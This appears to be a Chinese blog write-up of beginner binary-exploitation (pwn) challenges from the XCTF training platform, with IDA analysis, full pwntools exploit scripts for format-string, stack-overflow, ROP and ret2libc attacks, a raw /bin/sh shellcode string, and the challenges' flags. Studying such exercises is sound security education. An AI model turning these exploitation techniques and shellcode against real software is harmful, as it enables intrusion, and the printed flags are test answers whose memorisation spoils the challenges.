攻防世界-pwn入门练习
get_shell
- 直接运行即可,nc连接,cat flag获得flag
CGfsb
菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
基操
下载了一个文件,查看文件信息, 发现是elf文件:
ida 反编译查看源码:
根据题意,应该是要利用printf的格式化字符串漏洞,而且第
printf(&s)
又明显的漏洞,与之相邻的语句很清晰的表示了,只要pwnme的值为8便会输出flag。有位博主写的这篇关于格式化字符串漏洞的博客挺好的,建议看看。还有一篇是讲内存溢出的博客通俗易懂还设计到了bss,不理解的可以看看。
分析过程
接下来就要确定pwnme的位置:
pwnme在_bss端,说明它是一个全局变量,那我们要修改它,就要利用到格式化字符串漏洞中的%n
找到偏移量
61616161就是我们要找的值,a的ascii的值的16进制格式,可以看到偏移量是10;
接下来就是把这个地方改成pwnme的地址(0x0804A068),然后用%n对pwnme赋值为8即使printf输出8个字符 ->
p32() 转换为4字节 + ‘aaaa’4字节 = 8 字节
,构造exp:这就得到了答案,这里我还不明白的使写的这个exp使如何给pwnme赋值的?????
感谢这位博主的文章, 帮了很大忙。
- 输入一个
地址
+补足字符串
+%10$n
=串A
,执行printf
函数的时候串A
的首地址会存入栈中的一个位置,即偏移量10,看到有位博主说:输入的字符串的前4个字节如果是一个有效的字符串的首地址,就可以用%s将其打印出来,也就是说如果是地址+串那么便会将这个地址作为这个串的首地址。这样子便实现了将我们的pwnme
的地址作为串的首地址存入到栈中。之后我们在将其输出便会输出这个串A,而我们在串尾使用了%10$n又取到这个首地址并将其值赋为输出的字符数。 - 感觉应该就是这样,终于理解啦,哈哈哈哈哈哈哈哈哈哈哈哈哈哈。搞了一天,终于明白了,加油啊^_^。
- 输入一个
when_did_you_bord
只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办
基操
查看文件信息, 没有开启PIE(一种可执行文件的属性,相当于可执行文件的保护机制)关于可执行文件保护机制的介绍
运行一下 ,发现就是让我们输入生日和姓名,然后输出我们的信息
放到IDA里看看
分析过程
发现只要将v5的值修改为1926便会输出flag,我们可以利用栈溢出,使v4溢出从而实现对v5值的修改,查看v4和v5的位置
可以看到v4占了8字节,下面便是v5,只要让v4溢出的部分修改v5为1926即可
利用下面的代码实现溢出
from pwn import * a = remote("111.198.29.45","55616") a.recvuntil("What's Your Birth?") a.sendline("a") a.recvuntil("What's Your Name?") a.sendline("a"*8 + p64(1926)) a.interactive()
得到falg
答案:
cyberpeace{54fc1533fefdce65285602c7ad5ab774}
hello_pwn
pwn!,segment fault!菜鸡陷入了深思
基操
查看文件信息,文件属性:64位,没有开启PIE。
运行一下,看不出一点信息,giao
再用IDA看一下
分析过程
好像什么也看不出来,对于我这只小白来说,但是呢第九行他就是执行
cat flag
的, 大佬nb,接下来当然是查看变量的位置啦巧了,输入的那个和最后执行判断语句的那个是挨着的,利用内存溢出不就可以对后者进行赋值了吗,和上一题一样
直接上exp:
from pwn import * a = remote("111.198.29.45","35001") payload = "a"*4 + p64(1853186401) a.recvuntil("lets get helloworld for bof\n") a.sendline(payload) a.interactive()
执行代码返回结果
答案
cyberpeace{1c15d7a71ed08427b1c638a78f8ab206}
level0
菜鸡了解了什么是溢出,他相信自己能得到shell
基操
看看文件信息,没有开 canary,PIE 也是关闭的,但是栈不可执行。也就是说我们可以进行溢出,但是不能将 shellcode 写在栈上,因为现在栈上的代码是不能被执行的
跑一下,就输出了一个hello word,嗯。。。。。
IDA看一看
分析过程
找漏洞
main函数没什么东西,发现不了什么,接着找
vulnerable_function
好像也没有什么,没办法,都看看吧
发现这个名为callsystem的函数应该就是用于返回shell的,没错就是它了,去吧比卡丘,就决定是你啦。
接下来的目的就是想办法执行这个函数,接下啦我这个真正的小白就什么也不会了,学吧
首先还是需要寻找溢出点,
vulnerable_function
中的read函数存在缓冲区溢出漏洞。查看变量地址, ida告诉我们r代表的就是return address
发现buf的首地址和栈上的返回地址的距离是: (+0x0000000000000008 ) - (-0x0000000000000080 ) = 0x88, 也就是说buf的大小只有128(0x88),我们只要将128填满,再将溢出的那部分进行操作即可
接着找到
callsystem
函数的地址, 地址为0x400596
接着构建exp,
from pwn import * a = remote("111.198.29.45",30046) payload = "A"*0x88 + p64(0x400596) a.recvuntil("Hello, World\n") a.sendline(payload) a.interactive()
执行代码,返回结果
执行代码,进入shell,所以还要进行一些交互才能获取结果。
答案:
cyberpeace{fabe8b6d58bfb06bac3e72bd26525a35}
level2
菜鸡请教大神如何获得flag,大神告诉他‘使用
面向返回的编程(ROP)就可以了
基操
查看文件信息,32位的文件,还是没有开启PIE,canary没有找到,但是呢NX这项保护是开启的状态,这意味着:栈中数据没有执行权限,常用的call esp或者jmp esp的方法在这里就不能使用辽,但是可以利用rop这种方法绕过
运行一下,没什么收获
扔进IDA看看
main函数没什么特别的
分析过程
- 但是嗯,vulnerable_function()的read函数好像存在堆栈溢出点,emmmm,
接下来就是要想办法找到调用shell的函数的地址。
shift + f12
查看字符串有点东西,一个是system,还有一个就是/bin/sh, 接下来要做的就是想办法调用system(“/bin/sh”);
计算一下偏移量
偏移量 = 0x4 + 0x88
找到
system
函数于字符串"/bin/sh"
的地址,今天我才知道,原来可以直接使用python 的pwn库直接获取地址,之前都是用IDA自己手动找的。哼,giao构建exp, 方案:构造一个system(“/bin/sh”)的伪栈帧,然后通过控制vulnerable_function() 函数返回到该伪栈帧执行system(“/bin/sh”)来get shell。
把system以及bin/sh构造进payload
payload = ‘a’ * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(bin_addr)
其中p32(0)为system(“/bin/sh”)执行后的返回地址,整上个0就能行。from pwn import * elf = ELF("./level2") io = remote('111.198.29.45', 47650) sys_addr = elf.symbols["system"] # get the address of the function bin_addr = elf.search("/bin/sh").next() # get the address of the string payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(bin_addr) io.recvline() io.sendline(payload) io.interactive() io.close()
运行的到结果
对函数栈的理解:函数地址+返回地址+-变量地址,, 纯属小白理解,勿信。
我们实际上是使用我们需要的函数地址对能够执行函数的返回地址进行了覆盖,实际上函数的返回地址本身也是其他函数的地址,一个函数执行结束后便会执行返回地址所指向的函数。
函数调用栈的讲解这个博客写的挺好的。
guess_num
菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么
基操
查看一下文件信息,64位文件,开启了PIE,没有开启RELRO保护
之前没有介绍过这几个属性的含义,这里补上
RELRO
: RELocation Read-Only, 重定向只读,可以防止GOT表被修改,这里没有开启这个保护,所以我们可以修改GOT表,来替换函数原本的功能。Stack
: 栈溢出检查,用Canary
金丝雀值是否变化来检测,Canary found
表示开启。NX
: No Execute,栈不可执行,windows上的DEP。PIE
: position-independent executables, 位置无关的可执行文件,也就是常说的ASLR
(Address space layout randomization) 地址随机化, 程序每次启动基址都随机,所以一旦开启这个,就要想办法得到程序基址。
运行一下,猜数字????
丢到ida里看看
就是一直判断,不相等就退出程序,好像没有特殊的语句,但是循环结束后又运行了一个函数
sub_C3E
, 有点东西,查看函数是我们想要的了,接下来只要想办法让程序执行这个函数即可
分析过程
本来想要看看是不是和上一题一样,利用函数栈溢出来实现,但是后来发现,并没有函数栈溢出点,并且函数使用的是伪随机数,并且伪随机数的种子我们可以利用栈溢出
v8
来进行覆盖,那我们便可以直接获取到与程序相等的随机数,10次判断之后便可以获取到flag了。void srand(unsigned seed); //srand函数是随机数发生器的初始化函数
int rand(void); //rand函数是用来产生伪随机数的
seed的作用:srand函数根据参数seed,设置一个随机起点,而rand根据这个起点产生随机数序列。默认的seed为1,如果seed一样,则rand产生的随机数序列也一样。
查看偏移量
v8就是var_30, 有惊喜,看到了seed, 那就没错了,溢出之后刚好覆盖seed[0], 可以看到偏移量位0x20。
构建exp
from pwn import * from ctypes import * p = remote("111.198.29.45", 30760) payload = "a" * 0x20 + p64(1) c = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") c.srand(1) #注意如果输出的方法是printf,那么如果源码中没有\n那就不要在exp中写成name:\n,否则会出现问题 p.recvuntil("name:") p.sendline(payload) for i in range(10): p.recvuntil("Please input your guess number:") p.sendline(str(c.rand()%6 + 1)) p.interactive()
答案:
cyberpeace{c5b84e1b00f05c2161748e7c9376c9cc}
总结:伪随机数的绕过,根本还是栈溢出
cgpwn2
菜鸡认为自己需要一个字符串
基操
查看文件信息,32位,PIE没开启,可执行栈。
运行一下
丢带IDA里看看
分析过程
- main函数里面什么没有,看看hello(), 函数,发现新大陆
- 执行的语句几乎都在hello()函数里面,看了一下,gets函数又有溢出漏洞,下面需要寻找执行system的语句,找到了pwn()函数
- 发现参数不是我们想要的”/bin/sh”, 接下来只要想办法将这个参数换成我们想要的就行了,搜索了一下程序中不存在我们想要的”/bin/sh“字符串,但是程序运行时我们输入了name变量的值,并且name是全局变量(bss起始),只要输入时将”/bin/sh“赋值给name, 再将name直接传给system()函数就行了。name的地址为
0x0804A080
。
计算溢出的偏移量
偏移量:
0x26+0x4
写exp:
p32(0)
为函数的返回地址,随便写个就行 如:”a”。from pwn import * p = remote("111.198.29.45",35295) e = ELF("../mid_file/cgpwn2") payload = "a" * (0x26+0x4) + p32(e.symbols["system"]) + p32(0) + p32(0x0804A080) p.recvuntil('name\n') p.sendline("/bin/sh") p.recvuntil("here:\n") p.sendline(payload) p.interactive() io.close()
运行结果:
答案:
cyberpeace{1787e3b5ba74de671adcb64a147fb41f}
emmmm,这道题算自己写的吧,开始有点套路了,加油呀 []
( ̄▽ ̄)*。
int_overflow
菜鸡感觉这题似乎没有办法溢出,真的么?
基操一波
查看文件信息,32为文件,PIE没开启,栈溢出检测没有
运行一下
没啥特殊的信息。
丢到IDA里看看,波。
main()函数里面没什么东西,顺着函数调用找也没有找到什么东西。但是呢把所有函数翻了一遍发现个有用的东西
接下来就是要想办法找到溢出点来,调用这个函数
分析过程
寻找溢出点
从main()函数找到了login()函数,login()函数也没有溢出漏洞,接着从login()函数找到了check_passwd()函数。check_passwd() 是首先获得 s (buf)的长度,将长度赋值给v3。那如果s特别的长,获取长度后赋值的过程中是不是就会溢出?
strlen()函数存在漏洞,因为32位程序中strlen把结果的返回值给8位寄存器al,8位也就是意味着最大值位255,如果大于255便会溢出,如果输入了261,即
000100000101
那么最后的值便会是00000101
也就是5。而为了让函数最后的返回到what_is_this()的地址,我们还需要的是找到一个函数栈的溢出点,而在结束判断后执行的strcpy()函数中的参数dest的长度为0x14+0x4
构造:payload = (0x14+0x4)+ (指定的函数地址) + int(216) - (前两个的int型的长度和)
构建exp
from pwn import * p = remote("111.198.29.45",49689) e = ELF("../mid_file/int_overflow") payload = "a" * (0x14+0x4) + p32(e.symbols["what_is_this"]) payload += "a" * (261-int(len(payload))) p.sendlineafter('choice:', '1') p.recvuntil("Please input your username:") p.sendline("nibaba") p.recvuntil("Please input your passwd:") p.sendline(payload) p.interactive() io.close()
运行结果:
答案:
cyberpeace{ec636b5014e64952866313bacbb8e113}
总结吧,又有了新的收获,strlen函数的溢出漏洞可以用来突破字符个数的限制以执行下面的程序,从而对下面的程序进行别的溢出,例如函数栈的溢出,构造伪栈帧等。
string
菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求
基操
查看文件基本信息:64位文件,PIE没有打开,栈溢出检查开启了。
运行一下看看
是一个游戏,没啥内容,比较长懒得截图了。。。。。
丢到IDA看看
先看到了main函数
分析思路
寻找flag的思路
先调用用了sub_400996()这个函数,进去看看。
unsigned __int64 sub_400996() { unsigned __int64 v0; // ST08_8 v0 = __readfsqword(0x28u); puts("Welcome to Dragon Games!"); puts(off_603010); return __readfsqword(0x28u) ^ v0; }
没什么用,就输出了一句话
接着是给v3分配了8个字节的空间,又将v3赋值给了v4, 也就是v4其实就是v3了现在,*v3 = v3[0] = 68, v3[1] = 85, 下面由输出了v3的地址,莫名其面为什么要告诉我们v3的地址呢,肯定是要用到的。
主要的内容是在函数sub_400D72()中执行的,于是乎查看其中的内容
unsigned __int64 __fastcall sub_400D72(__int64 a1) { char s; // [rsp+10h] [rbp-20h] unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("What should your character's name be:"); _isoc99_scanf((__int64)"%s", (__int64)&s); if ( strlen(&s) <= 0xC ) { puts("Creating a new player."); sub_400A7D(); sub_400BB9(); sub_400CA6((_DWORD *)a1); } else { puts("Hei! What's up!"); } return __readfsqword(0x28u) ^ v3; }
执行了输入名字,接着对名字的长度进行了判断,长度小于0xC便进行 if 里面的操作,否则就结束了程序。if里面执行了三个函数,分别查看一下
sub_400A7D()
while ( 1 ) { _isoc99_scanf((__int64)"%s", (__int64)&s1); if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") ) break; puts("hei! I'm secious!"); puts("So, where you will go?:"); } if ( strcmp(&s1, "east") ) { if ( !strcmp(&s1, "up") ) sub_4009DD(); puts("YOU KNOW WHAT YOU DO?"); exit(0); }
输出了一堆东西,进入了一个判断循环,只有当我们输入了”east” 才给我们退出。
sub_400BB9()
unsigned __int64 sub_400BB9() { int v1; // [rsp+4h] [rbp-7Ch] __int64 v2; // [rsp+8h] [rbp-78h] char format; // [rsp+10h] [rbp-70h] unsigned __int64 v4; // [rsp+78h] [rbp-8h] v4 = __readfsqword(0x28u); v2 = 0LL; puts("You travel a short distance east.That's odd, anyone disappear suddenly"); puts(", what happend?! You just travel , and find another hole"); puts("You recall, a big black hole will suckk you into it! Know what should you do?"); puts("go into there(1), or leave(0)?:"); _isoc99_scanf((__int64)"%d", (__int64)&v1); if ( v1 == 1 ) { puts("A voice heard in your mind"); puts("'Give me an address'"); _isoc99_scanf((__int64)"%ld", (__int64)&v2); puts("And, you wish is:"); _isoc99_scanf((__int64)"%s", (__int64)&format); puts("Your wish is"); printf(&format, &format); puts("I hear it, I hear it...."); } return __readfsqword(0x28u) ^ v4; }
只有我们输入了
1
才会执行 if 里面的语句,还有printf(&format, &format)
存在了一个明显的格式化字符串漏洞。暂且还不知道如何利用它,先放着sub_400CA6()
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1) { void *v1; // rsi unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!"); puts("Dragon say: HaHa! you were supposed to have a normal"); puts("RPG game, but I have changed it! you have no weapon and "); puts("skill! you could not defeat me !"); puts("That's sound terrible! you meet final boss!but you level is ONE!"); if ( *a1 == a1[1] ) { puts("Wizard: I will help you! USE YOU SPELL"); v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL); read(0, v1, 0x100uLL); ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1); } return __readfsqword(0x28u) ^ v3; }
发现了一个特别有用的东西
void (__fastcall )(_QWORD, void ))v1)(0LL, v1);
记住只要看见这样的句子,就知道是吧v1强制转化成一个函数指针,然后调用这个函数,那么我们就可以利用前面的read,把我们想要执行的命令(shellcode)写入到v1中,然后程序就可以执行shellcode。想要执行 if 里的语句我们就要让a1[0] = a1[1], a1的根源就是v4,v4 = v3, 那么只要想办法让v3[0] = v3[1] 就行了,我们是知道v3的地址的,而且还有格式化字符串漏洞,那就要先看看v3的偏移量。
查看v3的偏移量
12的16进制表示就是
c
,查一偏移量为7于是乎我们只要构建payload = “%85d%7$n”, 首先先将v3的地址赋值给v2,然后再将利用格式化字符出漏洞将其赋值为85。
构建exp
from pwn import * p = remote("111.198.29.45",51451) p.recvuntil("secret[0] is ") addr = p.recvuntil("\n") #截取到返回的v3(v4)的地址。 print(addr) p.recvuntil("What should your character's name be:") p.sendline("nibaba") p.recvuntil("So, where you will go?east or up?:") p.sendline("east") p.recvuntil("go into there(1), or leave(0)?:") p.sendline("1") p.recvuntil("'Give me an address'") p.sendline(str(int(addr, 16))) p.recvuntil("And, you wish is:") payload = "%85d%7$n" p.sendline(payload) p.recvuntil("I will help you! USE YOU SPELL") # system("/bin/sh") 的shellcode编码就是 \x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05 p.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05") p.interactive()
运行结果,
常见命令的shellcode编码可以从这个数据库进行查询。
搞了2个半小时,emmmm终于搞完了…………………………., 加油啊,啊啊啊啊啊啊啊…..
level3
libc!libc!这次没有system,你能帮菜鸡解决这个难题么?
基操
查看文件信息。下载的文件是一个压缩包,用winrar解压发现的到一个文件,结果拖到kail虚拟机里发现还是一个压缩包,提取文件的到一个level3的文件和一个libc文件,查看level的信息
32位的ELF文件,开启了NX保护,也就是说栈不可执行,一次shellcode基本没有用武之地了。
丢到IDA里看看
main函数里没什么东西,
分析过程
接着查看vulnerable_function()函数
也没什么,看似没有栈溢出漏洞。但是呢
我们发现buf申请了0x88个byte的空间,0x88的buf + 0x4的EBP。但是我们read读取的确是0x100个byte的空间,存在明显的栈溢出。但是呢栈不可执行,此时我们就要用到了ROP攻击了。
再程序中找看看有没有现成的systme函数和’/bin/sh’字符串。
shift+f12
查看字符串发现没有‘/bin/sh’,但是呢我们发现程序加载了动态函数库libc动态链接库于是乎我们就是要找到systme函数和字符串’/bin/sh’在映射到level3程序中的地址,然后进行ROP攻击。
但是如何获取到本来不直接在程序中的函数和参数的地址呢。这里就要说道说道了
libc文件
首先在程序开始运行的时候libc文件是要加载到内存中,以后当程序需要调用相关库函数是就会依据 plt-got表对函数的实际地址进行映射,相当于调用时会通过plt-got表辗转跳转至真正的函数地址进行执行。
PLT和GOT表
PLT
: 内部函数表(Procedure Linkage Table,过程链接表)是LinuxELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定GOT
: 全局函数表(Global Offset Table, 全局偏移表)是LinuxELF文件用于定位全局变量和函数的一个表。延迟绑定
实际程序调用了libc库中的write函数。 在PLT表中的条目为write@plt。。 在GOT表中的条目为write@got 当程序第一次调用write函数时: 1. 跳转到PLT表 2. 跳转到GOT表 3. 调用patch write@got 将write的真实地址填充到write@got中 当程序第二次调用write函数时: 1. write@plt 2. write@got 3. 得到write()的真实地址
也就是只要调用了函数那么GOT表存的就是函数的真实地址。
我们可以通过libc文件的到函数在文件中的基地址,而函数在内存中的地址是基地址的平行映射,也就是所libc文件中的所有函数的
基地址
和真实地址
(内存中的地址)的偏移量是一样的。因此我们可以通过计算已知函数的偏移量来得知我们需要的函数的偏移量,而所需函数的基地址可以直接通过libc文件(或者通过LibcSearcher 库找到对应的版本)获取。
解体思路
- 我们是已知程序调用了libc中的write函数,那么我们就可以先通过write函数获取偏移量,利用read函数的栈溢出漏洞。
- 然后再利用read函数的漏洞传入我们要调用的函数和参数的地址
- 整个过程需要利用两次read函数,所以第一次利用的时候还要设置函数的返回地址为
vulnerable_function
的地址,于是或才有了第二次read函数调用。 - LibcSearcher源码与使用
- payload1:填充buf,使其溢出;write的plt语句(用来调用write函数);需要再次执行的函数地址;文件描述符;write()的got表地址;写入长度。
- 得到write返回的write的got表地址(也就是真实(内存)地址,根据真实地址通过LibcSearcher库找到对应的libc版本
- 算出偏移量,system()的地址,/bin/sh的地址,构建payload2:填充buf;system()地址;返回地址随意填;参数地址
构建exp
from pwn import * from LibcSearcher import * p = remote("111.198.29.45", 57131) e = ELF("../mid_file/level3") write_got = e.got["write"] # 获取write()函数的got语句 write_plt = e.plt["write"] # 获取write()函数的plt语句 vuln_addr = e.symbols["vulnerable_function"] # 获取函数地址 #payload1:填充buf,使其溢出;write的plt语句(用来调用write函数);需要再次执行的函数地址;文件描述符;write()的got表地址;写入长度。 payload1 = 'a' * (0x88 + 0x4) + p32(write_plt) + p32(vuln_addr) + p32(0x1) + p32(write_got) + p32(0x4) p.recv() p.sendline(payload1) #得到write返回的write的got表地址(也就是真实(内存)地址) write_addr = u32(p.recv(4)) print("write addr:" + hex(write_addr)) #根据真实地址通过LibcSearcher库找到对应的libc版本 libc = LibcSearcher("write", write_addr) libc_base = write_addr - libc.dump('write') # 获取偏移量 sys_addr = libc_base + libc.dump('system') # 基地址 + 偏移量 bin_sh = libc_base + libc.dump('str_bin_sh') # 基地址 + 偏移量 #payload2:填充buf;system()地址;返回地址随意填;参数地址 payload2 = "a" * (0x88 + 0x4) + p32(sys_addr) + p32(4) + p32(bin_sh) p.recv() p.sendline(payload2) p.interactive()
运行结果:
- 参考资料:
- Writeup
- 详细解析ESP寄存器与EBP寄存器
- got、plt表介绍
- pwn工具集
说明:有些博客将本文中的基地址称之为真实地址,个人认为不太恰当,程序执行过程中内存中的地址才应该是真实地址,所以本文将其再内存中的地址称之为基地址,而将libc中函数的地址称之为基地址。